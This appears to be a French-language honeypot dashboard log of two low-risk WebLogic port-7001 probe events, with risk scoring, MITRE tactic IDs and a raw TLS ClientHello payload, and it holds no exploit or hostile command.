"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"weblogic_emulated"
]
}
24/07/2026 09:39:08 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
��ю+��������u�^fKƝ�y#� "�R �l�^���ŵEj)j�C屹ܻ#n]<6�p� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
��ю+��������u�^fKƝ�y#� "�R �l�^���ŵEj)j�C屹ܻ#n]<6�p� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
��ю+��������u�^fKƝ�y#� "�R �l�^���ŵEj)j�C屹ܻ#n]<6�p� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.971097114489874,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "71fd99c09b84e259fa6a16466d837435",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\u044e+\ufffd\ufffd\ufffd\ufffd\u0014\ufffd\ufffd\ufffd\u0017\ufffdu\ufffd^fK\u019d\ufffdy#\ufffd\t\"\ufffdR \ufffdl\ufffd\u0004^\ufffd\ufffd\ufffd\u0175Ej)j\u000f\u001a\ufffdC\u5c79\u0019\u073b#n]<6\ufffdp\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\u044e+\ufffd\ufffd\ufffd\ufffd\u0014\ufffd\ufffd\ufffd\u0017\ufffdu\ufffd^fK\u019d\ufffdy#\ufffd\t\"\ufffdR \ufffdl\ufffd\u0004^\ufffd\ufffd\ufffd\u0175Ej)j\u000f\u001a\ufffdC\u5c79\u0019\u073b#n]<6\ufffdp\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\u044e+\ufffd\ufffd\ufffd\ufffd\u0014\ufffd\ufffd\ufffd\u0017\ufffdu\ufffd^fK\u019d\ufffdy#\ufffd\t\"\ufffdR \ufffdl\ufffd\u0004^\ufffd\ufffd\ufffd\u0175Ej)j\u000f\u001a\ufffdC\u5c79\u0019\u073b#n]<6\ufffdp\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b6bad712ccba3f9c1dca3c78ed8a99e8ed345e79",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\u044e+\ufffd\ufffd\ufffd\ufffd\u0014\ufffd\ufffd\ufffd\u0017\ufffdu\ufffd^fK\u019d\ufffdy#\ufffd\t\"\ufffdR \ufffdl\ufffd\u0004^\ufffd\ufffd\ufffd\u0175Ej)j\u000f\u001a\ufffdC\u5c79\u0019\u073b#n]<6\ufffdp\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffd\u044e+\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdu\ufffd^fK\u019d\ufffdy#\ufffd\t\"\ufffdR \ufffdl\ufffd^\ufffd\ufffd\ufffd\u0175Ej)j\ufffdC\u5c79\u073b#n]<6\ufffdp\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\u044e+\ufffd\ufffd\ufffd\ufffd\u0014\ufffd\ufffd\ufffd\u0017\ufffdu\ufffd^fK\u019d\ufffdy#\ufffd\t\"\ufffdR \ufffdl\ufffd\u0004^\ufffd\ufffd\ufffd\u0175Ej)j\u000f\u001a\ufffdC\u5c79\u0019\u073b#n]<6\ufffdp\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\u044e+\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdu\ufffd^fK\u019d\ufffdy#\ufffd\t\"\ufffdR \ufffdl\ufffd^\ufffd\ufffd\ufffd\u0175Ej)j\ufffdC\u5c79\u073b#n]<6\ufffdp\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:08 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�Խ��Y�=C>̐��u��BWc�����=v�� ���_F��������D >/��#�ߴ�� R� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�Խ��Y�=C>̐��u��BWc�����=v�� ���_F��������D >/��#�ߴ�� R� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�Խ��Y�=C>̐��u��BWc�����=v�� ���_F��������D >/��#�ߴ�� R� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.986307517730188,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "ca55a46fd86944e33780dc8c12e18ded",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u053d\ufffd\ufffdY\ufffd=C>\u0310\ufffd\ufffdu\ufffd\ufffdBWc\ufffd\ufffd\ufffd\ufffd\ufffd=\u0004v\ufffd\ufffd \ufffd\ufffd\ufffd_F\ufffd\ufffd\ufffd\u000f\ufffd\ufffd\u0018\ufffd\ufffd\ufffdD\u001f>\/\ufffd\ufffd#\u0004\ufffd\u07f4\ufffd\ufffd R\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u053d\ufffd\ufffdY\ufffd=C>\u0310\ufffd\ufffdu\ufffd\ufffdBWc\ufffd\ufffd\ufffd\ufffd\ufffd=\u0004v\ufffd\ufffd \ufffd\ufffd\ufffd_F\ufffd\ufffd\ufffd\u000f\ufffd\ufffd\u0018\ufffd\ufffd\ufffdD\u001f>\/\ufffd\ufffd#\u0004\ufffd\u07f4\ufffd\ufffd R\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u053d\ufffd\ufffdY\ufffd=C>\u0310\ufffd\ufffdu\ufffd\ufffdBWc\ufffd\ufffd\ufffd\ufffd\ufffd=\u0004v\ufffd\ufffd \ufffd\ufffd\ufffd_F\ufffd\ufffd\ufffd\u000f\ufffd\ufffd\u0018\ufffd\ufffd\ufffdD\u001f>\/\ufffd\ufffd#\u0004\ufffd\u07f4\ufffd\ufffd R\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "cd5f54db902935f8d9e80f7c5016464b35981768",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u053d\ufffd\ufffdY\ufffd=C>\u0310\ufffd\ufffdu\ufffd\ufffdBWc\ufffd\ufffd\ufffd\ufffd\ufffd=\u0004v\ufffd\ufffd \ufffd\ufffd\ufffd_F\ufffd\ufffd\ufffd\u000f\ufffd\ufffd\u0018\ufffd\ufffd\ufffdD\u001f>\/\ufffd\ufffd#\u0004\ufffd\u07f4\ufffd\ufffd R\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\u053d\ufffd\ufffdY\ufffd=C>\u0310\ufffd\ufffdu\ufffd\ufffdBWc\ufffd\ufffd\ufffd\ufffd\ufffd=v\ufffd\ufffd \ufffd\ufffd\ufffd_F\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdD>\/\ufffd\ufffd#\ufffd\u07f4\ufffd\ufffd R\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\u053d\ufffd\ufffdY\ufffd=C>\u0310\ufffd\ufffdu\ufffd\ufffdBWc\ufffd\ufffd\ufffd\ufffd\ufffd=\u0004v\ufffd\ufffd \ufffd\ufffd\ufffd_F\ufffd\ufffd\ufffd\u000f\ufffd\ufffd\u0018\ufffd\ufffd\ufffdD\u001f>\/\ufffd\ufffd#\u0004\ufffd\u07f4\ufffd\ufffd R\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\u053d\ufffd\ufffdY\ufffd=C>\u0310\ufffd\ufffdu\ufffd\ufffdBWc\ufffd\ufffd\ufffd\ufffd\ufffd=v\ufffd\ufffd \ufffd\ufffd\ufffd_F\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdD>\/\ufffd\ufffd#\ufffd\u07f4\ufffd\ufffd R\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
